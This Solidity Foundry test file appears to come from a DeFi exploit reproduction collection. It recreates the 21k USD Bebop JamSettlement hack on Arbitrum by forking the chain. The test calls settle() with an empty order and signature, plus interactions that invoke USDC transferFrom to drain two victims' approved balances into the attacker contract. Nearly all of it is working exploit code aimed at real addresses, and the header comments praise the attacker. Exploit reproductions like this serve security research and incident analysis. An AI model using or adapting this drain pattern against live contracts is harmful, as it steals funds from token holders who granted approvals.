src/test/2025-08/Bebop_dex_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 21k USD
8// Attacker : 0x59537353248d0b12c7fcca56a4e420ffec4abc91
9// Attack Contract : 0x091101b0f31833c03dddd5b6411e62a212d05875
10// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6
11// Attack Tx : https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d
12 
13// @Info
14// Vulnerable Contract Code : https://arbiscan.io/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code
15 
16// @Analysis
17// Post-mortem : https://x.com/SuplabsYi/status/1955230173365961128
18// Twitter Guy : https://x.com/SuplabsYi/status/1955230173365961128
19// Hacking God : https://x.com/SuplabsYi/status/1955230173365961128
20pragma solidity ^0.8.0;
21 
22struct JamOrder {
23    address taker;
24    address receiver;
25    uint256 expiry;
26    uint256 exclusivityDeadline;
27    uint256 nonce;
28    address executor;
29    uint256 partnerInfo;
30    address[] sellTokens;
31    address[] buyTokens;
32    uint256[] sellAmounts;
33    uint256[] buyAmounts;
34    bool usingPermit2;
35}
36 
37struct JamInteraction {
38    bool result;
39    address to;
40    uint256 value;
41    bytes data;
42}
43 
44 
45contract Bebop is BaseTestWithBalanceLog {
46    uint256 blocknumToForkFrom = 367586045 - 1;
47     address private usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
48    IJamSettlement jamContract = IJamSettlement(0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6);
49    
50    
51    function setUp() public {
52        vm.createSelectFork("arbitrum", blocknumToForkFrom);
53        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
54        fundingToken = address(usdc);
55       
56    }
57 
58    function testExploit() public balanceLog {
59        // 1. Construct the JamOrder struct
60        JamOrder memory order = JamOrder({
61            taker: address(this),
62            receiver: address(this),
63            expiry: 1754987701,
64            exclusivityDeadline: 0,
65            nonce: 1,
66            executor: address(this),
67            partnerInfo: 0,
68            sellTokens: new address[](0),
69            buyTokens: new address[](0),
70            sellAmounts: new uint256[](0),
71            buyAmounts: new uint256[](0),
72            usingPermit2: false
73        });
74 
75         // 2. Define the signature (empty as provided)
76        bytes memory signature = hex"";
77 
78            // Interaction 1 arguments
79        address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;
80        uint256 amount1 = 0x4ac2def8f; // 20,134,500,015
81 
82        // Interaction 2 arguments
83        address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;
84        uint256 amount2 = 0xf4240; // 1,000,000
85 
86        // This 'to' address is the same in both interactions
87        address sharedToAddress = address(this);
88 
89          // AFTER: Dynamically encode the call using the interface
90        bytes memory interaction1Data = abi.encodeCall(
91            IERC20.transferFrom, // The function pointer
92            (fromAddress1, sharedToAddress, amount1) // The arguments as a tuple
93        );
94 
95        bytes memory interaction2Data = abi.encodeCall(
96            IERC20.transferFrom, // The function pointer
97            (fromAddress2, sharedToAddress, amount2) // The arguments as a tuple
98        );
99 
100        // 3. Construct the JamInteraction.Data array
101        JamInteraction[] memory interactions = new JamInteraction[](2);
102 
103        interactions[0] = JamInteraction({
104            result: false,
105            to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
106            value: 0, 
107            data: interaction1Data
108        });
109 
110        interactions[1] = JamInteraction({
111            result: false,
112            to: 0xaf88d065e77c8cC2239327C5EDb3A432268e5831,
113            value: 0, 
114            data: interaction2Data
115        });
116 
117        // 4. Define the hooksData (empty as provided)
118        bytes memory hooksData = hex"";
119 
120        // 5. Define the balanceRecipient
121        address balanceRecipient = address(this);
122 
123        jamContract.settle(order, signature, interactions, hooksData, balanceRecipient);
124 
125    }
126}
127 
128interface IJamSettlement {
129    function settle(
130        JamOrder calldata order,
131        bytes calldata signature,
132        JamInteraction[] calldata interactions,
133        bytes memory hooksData,
134        address balanceRecipient
135    ) external payable;
136}